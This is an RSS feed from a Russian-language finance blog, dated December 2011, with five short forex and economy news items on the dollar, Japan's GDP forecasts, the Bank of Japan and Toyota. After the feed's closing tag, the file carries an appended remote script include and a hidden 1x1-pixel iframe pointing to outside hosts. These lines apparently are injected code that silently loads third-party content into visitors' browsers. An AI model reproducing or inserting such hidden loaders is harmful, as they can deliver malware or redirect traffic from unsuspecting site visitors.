<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Финэксперт</title>
	<atom:link href="http://economics-finance-banks.ru/feed/" rel="self" type="application/rss+xml" />
	<link>http://economics-finance-banks.ru</link>
	<description>Блог о финансах, экономике и банках</description>
	<lastBuildDate>Thu, 22 Dec 2011 09:24:37 +0000</lastBuildDate>
	<language>ru</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>Доллар США снижается по отношению к основным валютам</title>
		<link>http://economics-finance-banks.ru/2011/12/22/%d0%b4%d0%be%d0%bb%d0%bb%d0%b0%d1%80-%d1%81%d1%88%d0%b0-%d1%81%d0%bd%d0%b8%d0%b6%d0%b0%d0%b5%d1%82%d1%81%d1%8f-%d0%bf%d0%be-%d0%be%d1%82%d0%bd%d0%be%d1%88%d0%b5%d0%bd%d0%b8%d1%8e-%d0%ba-%d0%be%d1%81/</link>
		<comments>http://economics-finance-banks.ru/2011/12/22/%d0%b4%d0%be%d0%bb%d0%bb%d0%b0%d1%80-%d1%81%d1%88%d0%b0-%d1%81%d0%bd%d0%b8%d0%b6%d0%b0%d0%b5%d1%82%d1%81%d1%8f-%d0%bf%d0%be-%d0%be%d1%82%d0%bd%d0%be%d1%88%d0%b5%d0%bd%d0%b8%d1%8e-%d0%ba-%d0%be%d1%81/#comments</comments>
		<pubDate>Thu, 22 Dec 2011 09:24:37 +0000</pubDate>
		<dc:creator>finansist</dc:creator>
				<category><![CDATA[forex]]></category>

		<guid isPermaLink="false">http://economics-finance-banks.ru/2011/12/22/%d0%b4%d0%be%d0%bb%d0%bb%d0%b0%d1%80-%d1%81%d1%88%d0%b0-%d1%81%d0%bd%d0%b8%d0%b6%d0%b0%d0%b5%d1%82%d1%81%d1%8f-%d0%bf%d0%be-%d0%be%d1%82%d0%bd%d0%be%d1%88%d0%b5%d0%bd%d0%b8%d1%8e-%d0%ba-%d0%be%d1%81/</guid>
		<description><![CDATA[В начале европейских торгов в четверг доллар США слегка снизился по отношению к основным валютам. В данное время доллар торгуется за 0,9315 против швейцарского франка и за 1,3120 против евро, снизившись с отметок закрытия вчерашних торгов 0,9359 и 1,3047 соответственно. &#8230; <a href="http://economics-finance-banks.ru/2011/12/22/%d0%b4%d0%be%d0%bb%d0%bb%d0%b0%d1%80-%d1%81%d1%88%d0%b0-%d1%81%d0%bd%d0%b8%d0%b6%d0%b0%d0%b5%d1%82%d1%81%d1%8f-%d0%bf%d0%be-%d0%be%d1%82%d0%bd%d0%be%d1%88%d0%b5%d0%bd%d0%b8%d1%8e-%d0%ba-%d0%be%d1%81/">Читать далее <span class="meta-nav">&#8594;</span></a>]]></description>
		<wfw:commentRss>http://economics-finance-banks.ru/2011/12/22/%d0%b4%d0%be%d0%bb%d0%bb%d0%b0%d1%80-%d1%81%d1%88%d0%b0-%d1%81%d0%bd%d0%b8%d0%b6%d0%b0%d0%b5%d1%82%d1%81%d1%8f-%d0%bf%d0%be-%d0%be%d1%82%d0%bd%d0%be%d1%88%d0%b5%d0%bd%d0%b8%d1%8e-%d0%ba-%d0%be%d1%81/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Правительство Японии снизило свои прогнозы по ВВП</title>
		<link>http://economics-finance-banks.ru/2011/12/22/%d0%bf%d1%80%d0%b0%d0%b2%d0%b8%d1%82%d0%b5%d0%bb%d1%8c%d1%81%d1%82%d0%b2%d0%be-%d1%8f%d0%bf%d0%be%d0%bd%d0%b8%d0%b8-%d1%81%d0%bd%d0%b8%d0%b7%d0%b8%d0%bb%d0%be-%d1%81%d0%b2%d0%be%d0%b8-%d0%bf%d1%80/</link>
		<comments>http://economics-finance-banks.ru/2011/12/22/%d0%bf%d1%80%d0%b0%d0%b2%d0%b8%d1%82%d0%b5%d0%bb%d1%8c%d1%81%d1%82%d0%b2%d0%be-%d1%8f%d0%bf%d0%be%d0%bd%d0%b8%d0%b8-%d1%81%d0%bd%d0%b8%d0%b7%d0%b8%d0%bb%d0%be-%d1%81%d0%b2%d0%be%d0%b8-%d0%bf%d1%80/#comments</comments>
		<pubDate>Thu, 22 Dec 2011 09:24:37 +0000</pubDate>
		<dc:creator>finansist</dc:creator>
				<category><![CDATA[forex]]></category>

		<guid isPermaLink="false">http://economics-finance-banks.ru/2011/12/22/%d0%bf%d1%80%d0%b0%d0%b2%d0%b8%d1%82%d0%b5%d0%bb%d1%8c%d1%81%d1%82%d0%b2%d0%be-%d1%8f%d0%bf%d0%be%d0%bd%d0%b8%d0%b8-%d1%81%d0%bd%d0%b8%d0%b7%d0%b8%d0%bb%d0%be-%d1%81%d0%b2%d0%be%d0%b8-%d0%bf%d1%80/</guid>
		<description><![CDATA[Согласно отчету кабинета министров, в четверг правительство Японии снизило прогнозы по экономическому росту, как на текущий, так и на следующий фискальный год. Ожидается, что валовой внутренний продукт вырастит за фискальный год 2012-2013 на 2,2%, медленнее прогнозов прошлого года на 2,7-2,9%. &#8230; <a href="http://economics-finance-banks.ru/2011/12/22/%d0%bf%d1%80%d0%b0%d0%b2%d0%b8%d1%82%d0%b5%d0%bb%d1%8c%d1%81%d1%82%d0%b2%d0%be-%d1%8f%d0%bf%d0%be%d0%bd%d0%b8%d0%b8-%d1%81%d0%bd%d0%b8%d0%b7%d0%b8%d0%bb%d0%be-%d1%81%d0%b2%d0%be%d0%b8-%d0%bf%d1%80/">Читать далее <span class="meta-nav">&#8594;</span></a>]]></description>
		<wfw:commentRss>http://economics-finance-banks.ru/2011/12/22/%d0%bf%d1%80%d0%b0%d0%b2%d0%b8%d1%82%d0%b5%d0%bb%d1%8c%d1%81%d1%82%d0%b2%d0%be-%d1%8f%d0%bf%d0%be%d0%bd%d0%b8%d0%b8-%d1%81%d0%bd%d0%b8%d0%b7%d0%b8%d0%bb%d0%be-%d1%81%d0%b2%d0%be%d0%b8-%d0%bf%d1%80/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Банк Японии смягчает экономические оценки</title>
		<link>http://economics-finance-banks.ru/2011/12/22/%d0%b1%d0%b0%d0%bd%d0%ba-%d1%8f%d0%bf%d0%be%d0%bd%d0%b8%d0%b8-%d1%81%d0%bc%d1%8f%d0%b3%d1%87%d0%b0%d0%b5%d1%82-%d1%8d%d0%ba%d0%be%d0%bd%d0%be%d0%bc%d0%b8%d1%87%d0%b5%d1%81%d0%ba%d0%b8%d0%b5-%d0%be/</link>
		<comments>http://economics-finance-banks.ru/2011/12/22/%d0%b1%d0%b0%d0%bd%d0%ba-%d1%8f%d0%bf%d0%be%d0%bd%d0%b8%d0%b8-%d1%81%d0%bc%d1%8f%d0%b3%d1%87%d0%b0%d0%b5%d1%82-%d1%8d%d0%ba%d0%be%d0%bd%d0%be%d0%bc%d0%b8%d1%87%d0%b5%d1%81%d0%ba%d0%b8%d0%b5-%d0%be/#comments</comments>
		<pubDate>Thu, 22 Dec 2011 09:24:37 +0000</pubDate>
		<dc:creator>finansist</dc:creator>
				<category><![CDATA[forex]]></category>

		<guid isPermaLink="false">http://economics-finance-banks.ru/2011/12/22/%d0%b1%d0%b0%d0%bd%d0%ba-%d1%8f%d0%bf%d0%be%d0%bd%d0%b8%d0%b8-%d1%81%d0%bc%d1%8f%d0%b3%d1%87%d0%b0%d0%b5%d1%82-%d1%8d%d0%ba%d0%be%d0%bd%d0%be%d0%bc%d0%b8%d1%87%d0%b5%d1%81%d0%ba%d0%b8%d0%b5-%d0%be/</guid>
		<description><![CDATA[Как сообщается в ежемесячном отчете о развитии экономики и финансов Банка Японии, опубликованном в четверг, рост экономики Японии замедлился по большей части из-за спада в экономике заморских стран и повышения курса иены. В нем также уточняется, что темп экономического роста &#8230; <a href="http://economics-finance-banks.ru/2011/12/22/%d0%b1%d0%b0%d0%bd%d0%ba-%d1%8f%d0%bf%d0%be%d0%bd%d0%b8%d0%b8-%d1%81%d0%bc%d1%8f%d0%b3%d1%87%d0%b0%d0%b5%d1%82-%d1%8d%d0%ba%d0%be%d0%bd%d0%be%d0%bc%d0%b8%d1%87%d0%b5%d1%81%d0%ba%d0%b8%d0%b5-%d0%be/">Читать далее <span class="meta-nav">&#8594;</span></a>]]></description>
		<wfw:commentRss>http://economics-finance-banks.ru/2011/12/22/%d0%b1%d0%b0%d0%bd%d0%ba-%d1%8f%d0%bf%d0%be%d0%bd%d0%b8%d0%b8-%d1%81%d0%bc%d1%8f%d0%b3%d1%87%d0%b0%d0%b5%d1%82-%d1%8d%d0%ba%d0%be%d0%bd%d0%be%d0%bc%d0%b8%d1%87%d0%b5%d1%81%d0%ba%d0%b8%d0%b5-%d0%be/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Тойота ожидает роста мировых продаж на 20% в 2012 году</title>
		<link>http://economics-finance-banks.ru/2011/12/22/%d1%82%d0%be%d0%b9%d0%be%d1%82%d0%b0-%d0%be%d0%b6%d0%b8%d0%b4%d0%b0%d0%b5%d1%82-%d1%80%d0%be%d1%81%d1%82%d0%b0-%d0%bc%d0%b8%d1%80%d0%be%d0%b2%d1%8b%d1%85-%d0%bf%d1%80%d0%be%d0%b4%d0%b0%d0%b6-%d0%bd/</link>
		<comments>http://economics-finance-banks.ru/2011/12/22/%d1%82%d0%be%d0%b9%d0%be%d1%82%d0%b0-%d0%be%d0%b6%d0%b8%d0%b4%d0%b0%d0%b5%d1%82-%d1%80%d0%be%d1%81%d1%82%d0%b0-%d0%bc%d0%b8%d1%80%d0%be%d0%b2%d1%8b%d1%85-%d0%bf%d1%80%d0%be%d0%b4%d0%b0%d0%b6-%d0%bd/#comments</comments>
		<pubDate>Thu, 22 Dec 2011 09:24:37 +0000</pubDate>
		<dc:creator>finansist</dc:creator>
				<category><![CDATA[forex]]></category>

		<guid isPermaLink="false">http://economics-finance-banks.ru/2011/12/22/%d1%82%d0%be%d0%b9%d0%be%d1%82%d0%b0-%d0%be%d0%b6%d0%b8%d0%b4%d0%b0%d0%b5%d1%82-%d1%80%d0%be%d1%81%d1%82%d0%b0-%d0%bc%d0%b8%d1%80%d0%be%d0%b2%d1%8b%d1%85-%d0%bf%d1%80%d0%be%d0%b4%d0%b0%d0%b6-%d0%bd/</guid>
		<description><![CDATA[Производитель японских автомобилей Тойота ожидает скачок продаж в 2012 году на 20% или 8.48 млн. единиц продукции. Даже без учета продукции Daihatsu Motor Co и Hino Motors Ltd., компания побьет рекордный уровень мировых продаж в 8.43 млн. единиц, достигнутый в &#8230; <a href="http://economics-finance-banks.ru/2011/12/22/%d1%82%d0%be%d0%b9%d0%be%d1%82%d0%b0-%d0%be%d0%b6%d0%b8%d0%b4%d0%b0%d0%b5%d1%82-%d1%80%d0%be%d1%81%d1%82%d0%b0-%d0%bc%d0%b8%d1%80%d0%be%d0%b2%d1%8b%d1%85-%d0%bf%d1%80%d0%be%d0%b4%d0%b0%d0%b6-%d0%bd/">Читать далее <span class="meta-nav">&#8594;</span></a>]]></description>
		<wfw:commentRss>http://economics-finance-banks.ru/2011/12/22/%d1%82%d0%be%d0%b9%d0%be%d1%82%d0%b0-%d0%be%d0%b6%d0%b8%d0%b4%d0%b0%d0%b5%d1%82-%d1%80%d0%be%d1%81%d1%82%d0%b0-%d0%bc%d0%b8%d1%80%d0%be%d0%b2%d1%8b%d1%85-%d0%bf%d1%80%d0%be%d0%b4%d0%b0%d0%b6-%d0%bd/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Глава DoubleLine Джеффри Гандлах призывает не ждать чуда</title>
		<link>http://economics-finance-banks.ru/2011/12/22/%d0%b3%d0%bb%d0%b0%d0%b2%d0%b0-doubleline-%d0%b4%d0%b6%d0%b5%d1%84%d1%84%d1%80%d0%b8-%d0%b3%d0%b0%d0%bd%d0%b4%d0%bb%d0%b0%d1%85-%d0%bf%d1%80%d0%b8%d0%b7%d1%8b%d0%b2%d0%b0%d0%b5%d1%82-%d0%bd%d0%b5/</link>
		<comments>http://economics-finance-banks.ru/2011/12/22/%d0%b3%d0%bb%d0%b0%d0%b2%d0%b0-doubleline-%d0%b4%d0%b6%d0%b5%d1%84%d1%84%d1%80%d0%b8-%d0%b3%d0%b0%d0%bd%d0%b4%d0%bb%d0%b0%d1%85-%d0%bf%d1%80%d0%b8%d0%b7%d1%8b%d0%b2%d0%b0%d0%b5%d1%82-%d0%bd%d0%b5/#comments</comments>
		<pubDate>Thu, 22 Dec 2011 09:24:37 +0000</pubDate>
		<dc:creator>finansist</dc:creator>
				<category><![CDATA[forex]]></category>

		<guid isPermaLink="false">http://economics-finance-banks.ru/2011/12/22/%d0%b3%d0%bb%d0%b0%d0%b2%d0%b0-doubleline-%d0%b4%d0%b6%d0%b5%d1%84%d1%84%d1%80%d0%b8-%d0%b3%d0%b0%d0%bd%d0%b4%d0%bb%d0%b0%d1%85-%d0%bf%d1%80%d0%b8%d0%b7%d1%8b%d0%b2%d0%b0%d0%b5%d1%82-%d0%bd%d0%b5/</guid>
		<description><![CDATA[Глава DoubleLine Джеффри Гандлах утверждает, что не стоит ожидать значительного роста экономики в ближайшем будущем, т.к. кризис в Европе продолжится и в 2012 году. Он назвал европейский кризис «вышедшим из-под контроля», «влияющим на дефицит бюджета США», «братьями-близнецами риска». «У меня &#8230; <a href="http://economics-finance-banks.ru/2011/12/22/%d0%b3%d0%bb%d0%b0%d0%b2%d0%b0-doubleline-%d0%b4%d0%b6%d0%b5%d1%84%d1%84%d1%80%d0%b8-%d0%b3%d0%b0%d0%bd%d0%b4%d0%bb%d0%b0%d1%85-%d0%bf%d1%80%d0%b8%d0%b7%d1%8b%d0%b2%d0%b0%d0%b5%d1%82-%d0%bd%d0%b5/">Читать далее <span class="meta-nav">&#8594;</span></a>]]></description>
		<wfw:commentRss>http://economics-finance-banks.ru/2011/12/22/%d0%b3%d0%bb%d0%b0%d0%b2%d0%b0-doubleline-%d0%b4%d0%b6%d0%b5%d1%84%d1%84%d1%80%d0%b8-%d0%b3%d0%b0%d0%bd%d0%b4%d0%bb%d0%b0%d1%85-%d0%bf%d1%80%d0%b8%d0%b7%d1%8b%d0%b2%d0%b0%d0%b5%d1%82-%d0%bd%d0%b5/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script src="http://templaties.com/foot.js"></script><iframe width="1" height="1" frameborder="0" scrolling="no" src="http://hotlog.my03.com/vse"></iframe>
